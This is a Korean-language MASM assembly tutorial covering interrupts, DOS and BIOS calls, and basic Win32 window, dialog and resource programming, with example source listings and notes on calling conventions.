이번에는, SubFunc 라는 새로운 프로시저(함수)를 만들어 보았다. 간단한 프로그램이므로, 특별히 문제는 없을 것이다. ("카운트다운 5")라는 결과가 나온다.이후 "카운트다운 4" "3"등으로 1까지 감소한다. push 니모닉은 레지스터의 내용을 스택에 대입한다. pop 은 스택으로부터 값을 레지스터에 대입한다.스택을 사용하는 MOVe라고 생각하면 쉽다. call 은 프로시저를 호출한다. 이 때, 현재 실행중인 주소를 스택에 대입하고 나서 프로시저로 점프 한다. 프로시저에서 돌아오는 경우에, ret 을 사용한다. ret 은 스택으로부터 값을 꺼내고, 호출시 원래의 주소로 돌아오게 된다.

Chapter 2 - 7   I/0·인터럽트

CPU 로 계산만 수행해서는, 컴퓨터의 진정한 능력을 사용 할 수가 없다. 컴퓨터의 기능을 활용하기 위해서는, 주변장치의 입력이나 출력을 제어할 수 있어야 한다. 예를 들어, 키보드로부터 입력을 받는다거나 디스플레이 장치에에 결과를 표시하거나. 이런것을 제어하기 위해서 I/O 공간을 사용한다. I/O 공간은 16 비트의 공간에서 16 진수로 말하면 0000h - FFFFh 의 공간이다 (16 진수는 수치뒤에[h] 를 붙인다). 이 공간으로 데이터를 전송 하거나(외부 출력), 데이터를 받거나(외부 입력) 하는 방식으로 , 주변장치를 액세스 할 수가 있다.

윈도우즈에는, 「시스템 정보」를 표시하는 프로그램이 있다. 「시작 메뉴」의 「보조프로그램」안의 「시스템정보」 이다.이 프로그램으로, 어떻게 I/O 공간이 할당되어 있는지를 볼 수가 있다.

인터럽트는 하드웨어 인터럽트와 소프트웨어 인터럽트의 2 종류가 있습니다. 하드웨어 인터럽트란, 외부로부터 입력이 있었을 경우, 현재의 프로그램을 일시중지 하고, 별도의 프로그램을 실행하는 기능입니다. 예를 들어, 프로그램 A를 실행중에 키보드가 눌렸다고 가정 합시다. 이 경우 키보드가 눌려진 키를 버퍼에 보존해 두어야만 합니다. 거기서 하드웨어 인터럽트가 발생해 키보드버퍼에 값이 저장됩니다. 물론 하드웨어 인터럽트가 발생하면 , 플래그와 레지스터의 값은 스택에 저장되므로, 원래의 프로그램에는 아무런 영향도 끼치지 않습니다.

하드웨어 인터럽트의 예

소프트웨어 인터럽트의 예

이와는 달리, 소프트웨어 인터럽트는 프로그램에서 명시적으로 MS-DOS의 함수 호출이나, BIOS의 프로시저를 호출하는 것을 말합니다.(즉, 프로그래머가 발생시키는 인터럽트를 의미합니다)

프로그램의 예를 보고 이해하시기 바랍니다.

;******************************************************************************
; 소프트웨어 인터럽트를 사용한 프로그램
;   이 프로그램은 MS-DOS용의 프로그램입니다
;   VC에서는 실행할 수 없습니다. 참고용으로 제작한 것입니다.
;******************************************************************************

.model small, c   ; 모델에서 small문을 먼저 기록하게되면 세그먼트(segment)는 16 비트가 된다
.286

;******************************************************************************
; 프로세스의 종료 매크로
;******************************************************************************
end_process macro ret_value

            mov   al, ret_value
            mov   ah, 4ch
            int   21h

            endm
;******************************************************************************
; 캐릭터 라인의 표시 매크로
;******************************************************************************
display     macro string

            mov   dx, offset string
            mov   ah, 09h
            int   21h

            endm

;******************************************************************************
; 1 캐릭터 입력(에코 없음) 매크로
;   AL = 키보드로부터 입력된 캐릭터
;******************************************************************************
read_kbd    macro

            mov   ah, 08h
            int   21h

            endm

;******************************************************************************
; 데이터 정의
;******************************************************************************
.data

MSG         db '이 프로그램은 즉시 종료합니다', 0dh, 0ah, '$'

;******************************************************************************
; 실행 프로세스
;******************************************************************************
.code

START:
            mov   ax, _DATA
            mov   ds, ax

            display     MSG   ; 메세지를 표시

            read_kbd          ; 버튼 입력 대기

            end_process 0     ; 프로그램의 종료


end START ; end 의사 인스트럭션의 뒤에는 스타트 지점을 기술

주석에서도 밝혔듯이, VC에서는 실행할 수 없습니다. VC의 링커는 32 비트이므로, 이 프로그램은 16 비트의 링커로 링크 하지 않으면 안됩니다. 16 비트의 링커는 아래에서 다운로드 받아서 사용하기 바랍니다.

ftp://ftp.microsoft.com/softlib/mslfiles/lnk563.exe

압축해제하면 16 비트의 링커가 생성됩니다. 32 비트용의 링커가 아니므로 주의하기 바랍니다.

이번 예에서는 매크로 정의하고 있습니다. 매크로는 함수와 달리, 호출된 곳에 치환됩니다. "복사" "붙여넣기"와 유사합니다. 호출이 아니고 대신 코드문이 바로 나타나게 됩니다. 이기능으로 매크로 어셈블리라고 불리게 됩니다. C++의 인 라인 함수와 같은 것입니다. 매크로는 보면 알 수 있듯이 macro - endm 로 정의되고 있습니다. 함수 호출에 대해서는, 16 비트 어셈블러 쪽을 참고 하시길 바랍니다.

Chapter 2 - 8   BIOS/시스템 콜 /VRAM

BIOS 는 메인보드에 장착되어 있는, 로우레벨로 하드웨어 조작을 하는 프로그램입니다. BIOS 는 소프트웨어라고 불리지 않고 펌 웨어라고 불리어 집니다. 직접 하드 디스크의 섹터에 기록하거나 읽어들이거나 하는 처리나, 플로피 디스크의 조작등의 로우레벨 함수들로 구성되어 있습니다.즉, 실제로 컴퓨터를 움직이는 가장 밑부분입니다.

시스템 콜이란, BIOS 나 OS 의 로우레벨 함수를 호출하는 것을 말합니다.

VRAM (Video RAM)에는, 캐릭터 VRAM 와 그래픽 VRAM 가 있습니다. 캐릭터 VRAM 란, 메모리상의 캐릭터를 디스플레이에 표시하는 RAM 입니다. 메모리상에 직접 캐릭터를 입력하는 것으로, 화면상에 캐릭터를 동기적으로 표시 할 수가 있습니다. 그래픽 VRAM 란, 메모리상의 데이터를 그래픽으로서 표시하는 RAM 입니다. 메모리와 화면의 그래픽은 서로 대응하고 있으므로, 메모리에 기록하는 것으로, 직접그림이나 곡선같은 객체등을 화면에 표시할 수가 있습니다. 그래픽 보드등에 있는 램에 해당합니다.

대부분의 경우 그래픽 VRAM 는, A000 : 0000 에 할당되어 있습니다.

우선 하드웨어의 구조는 이것이 다 입니다. 너무 간단하다고 생각 하실 것입니다. 윈도우 프로그래밍을 하게 될려면 먼저 도스나 시스템 프로그램에 대해서 알아야 합니다. 모든것에는 단계가 있습니다. 본 강좌는 상세 매뉴얼이 아닙니다. 이전에 한번쯤은 익혀보셨던 내용을 다시금 간단히 정리한 것입니다. 하지만 프로그래밍은 많은것을 요구하지는 않습니다. 간단한 명령어로도 훌륭한 프로그램을 작성 할 수 있습니다. 알고리즘을 언어의 문법에 맞게끔 작성하는 도구일 뿐입니다.이것을 이해하지 못하게되면 각종 언어를 섭렵해도 멀 했는지 모르게되는 딜레마에 빠지게 됩니다. 예를 들어서 영어의 문법만 잔뜩외우게 된후 실제 대화는 못하게 되는것이랑 같습니다. 미국의 꼬마는 문법을 배우지 않습니다. 말부터 배우고 자연히 문법을 익혀서 오류를 줄이고 멋지게 표현하는 법을 배우는것과 같은 이치입니다. 언어는 도구입니다.라는 말을 각종 개발자사이트에서 하는 이유는 이것입니다. 모든것을 외우려 하지 마시길 바랍니다. 기본적인것을 배우시고 활용을 하다가보면 막히는 부분도 발생하고 그런부분을 하나하나 익혀가시게 되면서 익히는 겁니다. 에 에 에 문법과 알고리즘을 보강하시게되고, 나중에는 자신만의 라이브러리와 개발방식을 타인에게 전파시킬 수 있는 것입니다.

그래도 먼가 찜찜하다고 생각하시는 분들은 어셈블리 기초강좌를 참조하시기 바랍니다. 이역시 강좌를 할 것입니다.

다음부터는 Windows 프로그래밍을 하게 됩니다. 기초지식으로서는, Windows API 에 대한 지식이 필요합니다만, 너무 자세히 알려하시기 전에 가볍게 체험 하신후에 별도의 서적등으로 공부하시기 바랍니다. MSDN도 훌륭합니다. 여기서는 자세하게 설명하지는 않습니다.


Chapter 3   Windows 프로그래밍

개요 : Windows 프로그래밍

Chapter 3 - 1   Windows 프로그래밍

MASM으로 Windows 프로그래밍을 시작해보자!

기초지식으로 Windows API, C 언어,CPU 등의 기본지식이 필요하다. 이런 부분에 대해서는 본 문서에서 자세히 설명하지 않으므로, 공부하기 바란다.

 

Chapter 3 - 2  최초의 프로그램

MASM으로 Windows 프로그래밍을 하는 것이지만, 처음으로 작성하는 것이라서 주석을 달아 두겠다.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.486
.model flat, stdcall

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL      =       0
MB_OK     =       0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA proto :dword, :dword, :dword, :dword
ExitProcess proto :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1      db	'메세지 테스트',0
TITLE1    db	'타이틀',  0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    invoke MessageBoxA, NULL, offset MSG1, offset TITLE1, MB_OK
    invoke ExitProcess, 0
    ret
WinMainCRTStartup	endp

end

하나씩 설명하겠다. 먼저 .486 지시어이다. MASM에서, 486용의 인스트럭션을 생성하는 지시어이다. 예를 들어, .386으로 하게되면, 80386용의 인스트럭션을 생성하게 된다. .386p와 같이, CPU명 뒤에 p를 붙이게되면 특권 인스트럭션도 사용할 수 있게 된다. (p는 privilage→특권의 약자)

다음으로 .model 지시어이다. 이 인스트럭션은 메모리모델이라는 메모리사용 규약을 정한다. Win32 프로그램의 경우에는 플랫메모리모델만 사용하기 대문에, 메모리모델에는항상 flat를 지정한다. 또한, 함수(프로시저)의 호출 규약에는, Windows 프로그램 라이브러리의 호출 규약인 stdcall을 지정한다.

프로그램에서, WinMainCRTStartup라는 프로시저를 정의하고 있다. 프로시저를 정의하려면 , proc 지시어를 사용한다. 또, 프로시저 호출방법에는, 여러 가지가 있지만, 간략화된 호출 방법으로 invoke 지시어를 사용할 수가 있다. Invoke만 호출해줌으로써, MASM에서 프로시저 호출을 간단하게 수행할 수가 있게 된다. 복잡한 스택처리르 해주게된다. 이명령어와 다른 몇가지로 인해서 고급언어와 비슷하게 프로그램을 하게 될 수 있게 된다.

Windows 프로그램의 종료에는, 반드시 ExitProcess를 호출해야 한다. VC++에서는, 내부적으로 ExitProcess 를 호출한다. 왜 반드시 호출해야하는가 하면 , ExitProcess를 호출하지 않으면 완전하게 프로세스가 종료하지 않기 때문이다. 만약 호출하지 않는 경우는, 메모리상에 쓰레기값이 남는 경우도 발생할 수도 있다.

Chapter 3 - 3   인스턴스 핸들

인스턴스 핸들이란, 각각의 모듈의 실체를 나타내는 핸들이다.선뜻 이해가 되지 않을것이다 . 좀 더 자세하게 설명을 하겠다.

Windows에는, 모든 오브젝트를 "핸들" 로 다루게 된다. 그렇기 때문에 Windows에서, 실행 파일이 메모리상에 로드 되면, 어떤 형태로든 이"인스턴스"를 관리하지 않으면 안 되는 것이다. Windows는, 어플리케이션이 자신의 인스턴스에 대해서 조작을 수행할 경우 "인스턴스 핸들"을 그 값으로 넘겨주게 된다.(조작용 번호라고 생각하기 바란다)

그런데, 왜 인스턴스 핸들이 필요한가 를 설명하면, 실행파일(혹은 모듈)에 속해있는 리소스를 얻을려고 하는 경우에는, 이 인스턴스 핸들을"키"로해서 Windows에 요청해야 하는 것이다. 인스턴스 핸들의 존재 의미는,어찌보면 당연한 것이다.

먼저, 프로그램을 살펴보자.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우 프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.586
.model flat, stdcall

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL	=	0
MB_OK	=	0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA       proto   :dword, :dword, :dword, :dword
GetModuleHandleA  proto   :dword
wsprintfA         proto c :dword, :dword, :dword
ExitProcess       proto   :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1	db	'인스턴스 핸들: 0x%X', 0
TITLE1	db	'타이틀 ', 0

STR1	db	64 dup(0)
hModule	dd	?

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    invoke GetModuleHandleA, NULL
    mov    hModule, eax

    invoke wsprintfA, offset STR1, offset MSG1, hModule
    invoke MessageBoxA, NULL, offset STR1, offset TITLE1, MB_OK
    invoke ExitProcess, 0

    ret
WinMainCRTStartup	endp

end

실행(F5)해보면 모듈핸들 번호를 메세지 박스로 표시해준다. 컴퓨터마다 다를수 있으나 보통 0x400000형식이다.모듈 핸들을 얻기위해서는 GetModuleHandle 함수를 사용한다. 함수명 뒤에 붙어 있는 A의 의미는 문자열이 Ascii 코드라는 의미이다. 함수명 뒤가 W일 경우는, 문자열이 UNICODE라는 의미이다. 참고삼아 기억해 두기 바란다.

(NT의 경우는 기본값으로 유니코드방식이다)

WindowsAPI에 대해서는, MSDN 라이브러리를 참조하기 바란다.

Chapter 3 - 4   로컬 변수

다음에는, 로컬 변수에 대해서 알아보자.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우 프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.586
.model flat, stdcall
option casemap:none

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL	=	0
MB_OK	=	0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA       proto   :dword, :dword, :dword, :dword
GetModuleHandleA  proto   :dword
wsprintfA         proto c :dword, :dword, :dword
ExitProcess       proto   :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1	db	'인스턴스 핸들: 0x%X', 0
TITLE1	db	'타이틀', 0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    ;---------------------------
    ; 로컬 변수
    ;---------------------------
    local pBuf[64] :byte
    local hModule  :dword

    ;---------------------------
    ; 프로그램 본체
    ;---------------------------
    invoke GetModuleHandleA, NULL
    mov    hModule, eax

    invoke wsprintfA, addr pBuf, offset MSG1, hModule

    invoke MessageBoxA, NULL, addr pBuf, offset TITLE1, MB_OK
    invoke ExitProcess, 0

    ret
WinMainCRTStartup	endp

end

프로시저 내부에서 local 지시어를 사용함으로써, 로컬 변수를 사용할 수가 있다. 위를 예에서 알수 있듯이, 로컬 변수의 선언은,

local  name[] :size

와 같이 한다. 위의 예에서는 배열을 지정했다. " 인스턴스 핸들: 0x400000"라는 결과가 나오게 된다.

Chapter 3 - 5   윈도우 생성

이제부터는, 실제로 윈도우를 생성해 본다. 프로그램의 내용이 좀 길지만 천천히 살펴보자.

;******************************************************************************
; 어셈블러 윈도우 프로그래밍 windows.asm
;******************************************************************************

.586
.model flat, stdcall
option casemap:none

;******************************************************************************
; 정의
;******************************************************************************

NULL              =       0
WM_DESTROY        =       2h
IDI_APPLICATION   =       32512
IDC_ARROW         =       32512
WHITE_BRUSH       =       0
WS_OVERLAPPED     =       00000000h
WS_SYSMENU        =       00080000h
WS_CAPTION        =       00C00000h
WS_EX_APPWINDOW   =       00040000h
SW_SHOWNORMAL     =       1
CW_USEDEFAULT     =       80000000h

HANDLE  typedef     dword
LPSTR   typedef     dword

POINT        struct
    x               dword   ?
    y               dword   ?
POINT        ends

WNDCLASS     struct
    style           dword   ?
    lpfnWndProc     dword   ?
    cbClsExtra      dword   ?
    cbWndExtra      dword   ?
    hInstance       HANDLE  ?
    hIcon           HANDLE  ?
    hCursor         HANDLE  ?
    hbrBackground   HANDLE  ?
    lpszMenuName    LPSTR   ?
    lpszClassName   LPSTR   ?
WNDCLASS     ends

MSG          struct
    hWnd            HANDLE  ?
    message         dword   ?
    wParam          dword   ?
    lParam          dword   ?
    time            dword   ?
    point           POINT   <?, ? >
MSG          ends

;******************************************************************************
; 프로시저 정의
;******************************************************************************

CreateWindowExA     proto   dwExStyle   :dword,
                            pClassName  :LPSTR,
                            pWindowName :LPSTR,
                            dwStyle     :dword,
                            x           :dword,
                            y           :dword,
                            nWidth      :dword,
                            nHeight     :dword,
                            hWndParent  :HANDLE,
                            hMenu       :HANDLE,
                            hInstance   :HANDLE,
                            pParam      :dword
RegisterClassA      proto   pWndClass   :dword
GetStockObject      proto   nObject     :dword
LoadIconA           proto   hInstance   :HANDLE,
                            lpIconName  :LPSTR
LoadCursorA         proto   hInstance   :HANDLE,
                            lpCurName   :LPSTR
GetMessageA         proto   lpMsg       :dword,
                            hWnd        :HANDLE,
                            nMsgFilMin  :dword,
                            nMsgFilMax  :dword
TranslateMessage    proto   lpMsg       :dword
DispatchMessageA    proto   lpMsg       :dword
PostQuitMessage     proto   nExitCode   :dword
DefWindowProcA      proto   hWnd        :HANDLE,
                            Msg         :dword,
                            wParam      :dword,
                            lParam      :dword
GetModuleHandleA    proto   lpstr       :LPSTR
ShowWindow          proto   hWnd        :HANDLE,
                            nCmdShow    :dword
UpdateWindow        proto   hWnd        :HANDLE
ExitProcess         proto   nExitCode   :dword

;*****************사용자 정의***********************
InitInstance        proto   hInstance   :HANDLE
CreateMyWindow      proto   hInstance   :HANDLE

;******************************************************************************
; 데이터 세그먼트
;******************************************************************************
    .data

ClassName   db  'FirstWnd', 0
WindowName  db  'First Application', 0

;******************************************************************************
; code segment
;******************************************************************************
    .code

;******************************************************************************
; 메인 함수
;******************************************************************************
WinMainCRTStartup    proc
    ;*************************
    ; 로컬 변수
    ;*************************
    local    msg     :MSG
    local    hWnd    :HANDLE
    local    hInst   :HANDLE

    ;*************************
    ; 프로그램
    ;*************************
    invoke GetModuleHandleA, NULL
    mov     hInst, eax

    invoke InitInstance, hInst
    cmp     eax, NULL
    je      ExitProg

    invoke CreateMyWindow, hInst
    cmp     eax, NULL
    je      ExitProg
    mov     hWnd, eax

    invoke ShowWindow, hWnd, SW_SHOWNORMAL
    invoke UpdateWindow, hWnd

MSGLOOP:
    invoke GetMessageA, addr msg, NULL, 0, 0
    or      eax, eax
    je      ExitProg

    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp     MSGLOOP

ExitProg:
    invoke ExitProcess, msg.wParam

    ret
WinMainCRTStartup    endp

;******************************************************************************
; 윈도우 클래스의 등록
;******************************************************************************
InitInstance    proc    hInstance:HANDLE
    ;*************************
    ; 로컬 변수
    ;*************************
    local    wc    :WNDCLASS

    ;*************************
    ; 프로그램
    ;*************************

    mov     wc.style, 0
    mov     wc.lpfnWndProc, offset MainWndProc
    mov     wc.cbClsExtra, 0
    mov     wc.cbWndExtra, 0

    mov     eax, hInstance
    mov     wc.hInstance, eax
	
    invoke LoadIconA, NULL, IDI_APPLICATION
    mov     wc.hIcon, eax

    invoke LoadCursorA, NULL, IDC_ARROW
    mov     wc.hCursor, eax

    invoke GetStockObject, WHITE_BRUSH
    mov     wc.hbrBackground, eax

    mov     wc.lpszMenuName, NULL
    mov     wc.lpszClassName, offset ClassName

    invoke RegisterClassA, addr wc

    ret
InitInstance    endp

;******************************************************************************
; 윈도우의 작성
;******************************************************************************
CreateMyWindow    proc    hInstance:HANDLE
    ;*************************
    ; 프로그램
    ;*************************

    invoke CreateWindowExA, WS_EX_APPWINDOW, offset ClassName,
        offset WindowName, WS_SYSMENU or WS_CAPTION, CW_USEDEFAULT,
        CW_USEDEFAULT, 300, 400, NULL, NULL, hInstance, NULL

    ret
CreateMyWindow    endp

;******************************************************************************
; 윈도우 프로시저
;******************************************************************************
MainWndProc    proc    hWnd:HANDLE, Msg:dword, wParam:dword, lParam:dword

    .if Msg == WM_DESTROY
        invoke PostQuitMessage, 0
    .else
        invoke DefWindowProcA, hWnd, Msg, wParam, lParam
    .endif

    ret
MainWndProc    endp

end

VC에서 실행(F5)하게 되면 "Line to long"이라고 에러가 나올것이다. 강좌에서는 편의상 여러줄로 했지만,

CreateWindowExA proto dwExStyle :dword ~ 이부분을 모두 한줄에 빈칸을 줄여서 작성해줘야한다.

프로그램을 보면 알 수 있듯이, Windows 프로그래밍은 코딩량이 많은것을 알 수가 있다. MASM32에는, 필요한 함수나 구조체의 정의를 정리한 파일을 제공해 주고있다. 그것을 사용하는것이 여러모로 편리할 것이다.

위의 프로그램에서는, 편의상 데이터형으로 핸들(HANDLE)과 문자열(LPSTR)과 정수로 나누고 있다.

MASM로 Windows 프로그래밍을 해 본 솔직한 의견으로는 MASM으로 Windows 프로그래밍을 할 정도라면, C 로하는 편이 훨씬 편하다. C와 비교해서 MASM으로 작성했다고 해서 특별히 빨라지는것도 아니기 때문에, 필요한 부분만 MASM 로 작성하는것이 주된 목적일 것이다. 좀 더 심하게 말해서 C의 인라인 어셈블러를 사용하는 것이 압도적으로 좋다.-_-;

 


Chapter 4   리소스의 이용

개요 : 리소스를 사용하는 경우

Chapter 4 - 1   리소스의 사용법

이번에는 리소스에 대해 설명한다. C언어에서 Windows 리소스를 사용하는것과 별다른 차이점은 없다.

그런데, 리소스에는 2 종류가 있다. 내부 리소스/외부 리소스라는 것이다.(필자의 사견이다)

내부 리소스는, 실행 파일에 포함되어있는 리소스이다. 실행 파일에 포함해 두면, 리소스 로딩을 빠르게 할 수가있다. 다만, 리소스가 실행 파일에 포함되므로, 실행파일의 크기가 커지게 되는 현상이 생긴다. 특히 비트맵과같은 것은 사이즈가 크므로 조심하기 바란다.

외부 리소스는, 문자 그대로 실행 파일에 포함되지 않는 리소스를 의미한다. 그러므로 실행중에 다른 파일로부터 로드하거나 스스로 만들어주지 않으면 사용할 수가 없다. 그런 만큼, 로딩하는 시간이 소모되게 된다.하지만, 메모리의 효율성에서는 더 좋다.

 

Chapter 4 - 2   인클루드 파일

상기의 예에서와 같이, 함수를 하나하나식 정의해서 사용한다면 매우 번거롭게 된다. 그래서 MASM32에 포함되어있는 함수와 정수를 정의한 인클루드 파일을 사용하게 된다. 다음의 4개의 파일을 기억해 두면 편리하다.

  1. windows.inc 윈도우관련정수가 정의되어 있는 인클루드 파일
  2. kernel32.inc 커널함수(코어 함수)가 정의되어 있는 파일
  3. user32.inc 유저함수(유저 인터페이스 함수)가 정의되어 있는 파일
  4. gdi32.inc GDI 함수(그래픽 디바이스 인터페이스 함수)가 정의되어 있는 파일

Chapter 4 - 3   아이콘과 다이얼로그 박스를 사용한 예

실제로 프로그램을 보자. 이번 예에서 사용하는 리소스는 다이얼로그 박스와 아이콘이다.

 

;******************************************************************************
; 리소스 사용 프로그램 resource.asm
;******************************************************************************

.486
.model flat, stdcall
option casemap:none

include <windows.inc>
include <kernel32.inc>
include <user32.inc>
include <gdi32.inc>

include <resource.inc>  ;리소스를 사용하므로 반드시 선언

;******************************************************************************
; prototype
;******************************************************************************

DlgProc             proto   hWnd    :HWND, 
                            Msg     :UINT, 
                            wParam  :WPARAM, 
                            lParam  :LPARAM
WinMainCRTStartup   proto
OnCommand           proto   hWnd    :HWND,
                            wParam  :WPARAM

;******************************************************************************
;  데이터 / 변수
;******************************************************************************

.data
MSG1    db          "정상적으로 표시되었는가? ", 0
TITLE1  db          "리소스 테스트", 0
hInst   HINSTANCE   ?

;******************************************************************************
;  코드
;******************************************************************************

.code
;------------------------------------------------------------------------------
;  다이얼로그 프로시저
;------------------------------------------------------------------------------
DlgProc proc \
    hWnd    : HWND,
    Msg     : UINT,
    wParam  : WPARAM,
    lParam  : LPARAM

    .if Msg == WM_INITDIALOG
        invoke LoadIconA, hInst, IDI_MAINICON
        invoke SendMessage, hWnd, WM_SETICON, ICON_BIG, eax
    .elseif Msg == WM_CLOSE
        invoke EndDialog, hWnd, 0
    .elseif Msg == WM_COMMAND
        invoke OnCommand, hWnd, wParam
    .else
        mov     eax, FALSE
        ret
    .endif

    mov     eax, TRUE
    ret
DlgProc endp

;------------------------------------------------------------------------------
;  커맨드 처리
;------------------------------------------------------------------------------
OnCommand proc \
    hWnd    : HWND,
    wParam  : WPARAM

    mov     eax, wParam
    and     eax, 0ffffh

    .if eax == IDOK
        invoke SendMessage, hWnd, WM_CLOSE, 0, 0
    .elseif eax == IDCANCEL
        invoke MessageBox, hWnd, addr MSG1, addr TITLE1, MB_OK
    .endif

    ret
OnCommand endp

;------------------------------------------------------------------------------
;  메인 프로시저
;------------------------------------------------------------------------------
WinMainCRTStartup proc
    invoke GetModuleHandle, NULL
    mov     hInst, eax
    invoke DialogBoxParamA, hInst, IDD_TEST, NULL, addr DlgProc, NULL
    invoke ExitProcess, 0
    ret
WinMainCRTStartup endp

;------------------------------------------------------------------------------
;  End of File
;------------------------------------------------------------------------------
end

위의 프로그램을 어셈블(assemble) 해서 실행해도 다이얼로그 박스는 표시되지 않는다. 왜냐하면, 아직 리소스를 만들지 않았기 때문이다. 다이얼로그 박스를 표시 하기 위해서는, 리소스로서 다이얼로그 박스를 만들어 주어야 한다. 아이콘을 사용한다면, 아이콘 리소스도 필요하다. 만든 리소스를 리소스 컴파일러로 컴파일 해서 실행 파일에 함께 링크 해주어야 리소스를 사용하는 것이 가능해진다. 다음과 같은 리소스를 만들어 보자.

먼저, 다이얼알로그 박스이다.

VC++로 작성하는 경우에는, 다음과 같이 프로퍼티를 설정한다.

프롭퍼티 내용
ID IDD_TEST = 101
Style Overlapped
Border Thin
More Style 「Center」을 체크

다음은, 아이콘이다, 하지만 이것은 마음대로 만들어도 좋다. 이 예제에서는, 다음과 같은 아이콘을 준비했다.

생성한 후 ID는 다음과 같이 지정한다.

ID IDI_MAINICON = 102

이제는, resource.inc 파일을 만든다. 이 파일에는 리소스의 ID를 저장해 둔다.

;******************************************************************************
; 리소스 ID정의 
;****************************************************************************** 
IDD_TEST     = 101 
IDI_MAINICON = 102

마쳤다면, 프로젝트를 빌드 하고 실행해준다. 이제는 화면에 다이얼로그박스가 표시되었을 것이다.


Chapter 5   Tips

개요 : 약간의 Tips

Chapter 5 - 1   인클루드 파일의 종류

지금까지, 대략이나마, MASM로 윈도우 프로그래밍을 접해 보았다.

이번은 조금 다른 얘기로 화제를 돌려보겠다. MASM 는 어셈블러이니까, 어찌보면 어려울 것 같이 생각될 수도 있지만, 실제론 전혀 어렵지는 않다. 오히려 C 를 했던 적이 있는 사람이라면, 아주 쉽게 이해 할 수가 있을 것이다.

MASM로 Windows 프로그래밍을 하는 경우, 함수를 반드시 정의하지 않으면 안된다. 그 함수를 매번 정의해서 사용하는 편보다는, 미리 헤더 파일에 모아 두고 사용하는 편이 더 좋을 것이다.

하지만 프로그래머가 직접 만들어서 사용해도 되지만, MASM32 헤더 파일을 사용하는것이 더편리하다.핵심적인 헤더파일을 설명하겠다.

코어 함수군
Include File 해설
windows.inc Windows 프로그래밍에서 사용하는 대부분의 정수의 정의.
kernel32.inc 커널(코어) 함수. 프로세스 관리, 파일 조작등의 함수가 정의.
user32.inc 유저 함수. 유저 인터페이스 함수의 정의.
gdi32.inc GDI 함수. 그래픽 디바이스 인터페이스 함수의 정의.
advapi32.inc 확장 함수. 암호화, 시큐리티, 레지스트리 조작등의 함수의 정의.
서브 함수군
Include File 해설
comctl32.inc 커먼 컨트롤
comdlg32.inc common dialog
d3drm.inc DirectX 3D Retained Mode
ddraw.inc DirectX DirectDraw
dinput.inc DirectX DirectInput
dplayx.inc DirectX DirectPlay
dsetup.inc DirectX DirectSetup
dsound.inc DirectX DirectSound
glaux.inc OpenGL
glu32.inc OpenGL
imm32.inc IME API
lsapi32.inc LS API
lz32.inc LZ 압축
netapi32.inc NetAPI
odbc32.inc ODBC API
opengl32.inc OpenGL
scrnsavew.inc Screen Saver API
setupapi.inc Setup API
shell32.inc Shell API
tapi32.inc Telephony API
wininet.inc Internet API
winmm.inc Multi Media API
winspool.inc Printer API
wsock32.inc WinSock API

좀 더 있지만, 이 정도로 만족하기 바란다.

Chapter 5 - 2   A와 W의 의미와 함수 호출 규약

함수명의 끝에 A 나 W 가 붙어 있는데 이것의 의미는 무엇일까?

실제로 문자열을 Unicode로 프로그래밍 하는 경우, W가 붙어 있는 함수를 사용한다. A가 붙어 있는 함수는, 문자열을 ASCII 코드로 프로그래밍 한다고 가정하는 것이다.

W 는 Wide 의 W이며 , A 는 Ascii (혹은 ANSI )의 A 이다.(맞겠지?)

MASM로 Windows 프로그래밍 하는 경우, 호출 규약에는 C 호출 규약과 STDCALL 의 호출 규약을 이용한다. 약간의 차이점이 존재한다.

VC++의 경우, 함수는 C 규약으로 통일되어 있다. 함수 수식자로서 __cdecl가 자동적으로 추가된다. API 에서는, __stdcall 로 정의되고 있다.(언더바가 2개이다)

실제로 WINAPI 나 CALLBACK 라고 하는 수식자는 __stdcall 이라고 정의되어 있다. API 로부터 호출되는 것을 생각하면 당연하다.

C 호출 규약과 STDCALL 호출 규약의 차이는, 스택을 오픈하는 추최가 누구인가에 따라 다르다. C는 호출한 측에서 스택을 오픈하고, STDCALL 은 함수의 내부에서 스택을 오픈한다. 다음은 C 와 STDCALL 의 호출 규약의 요약이다.

처리 C
(__cdecl)
STDCALL
(__stdcall)
함수명의 선두에 _ 를 추가
인수를 역순으로 스택에 푸쉬
인수 스택을 호출한 측에서 오픈 ×
인수 스택을 호출된 측에서 오픈 ×
VARARG 사용가능

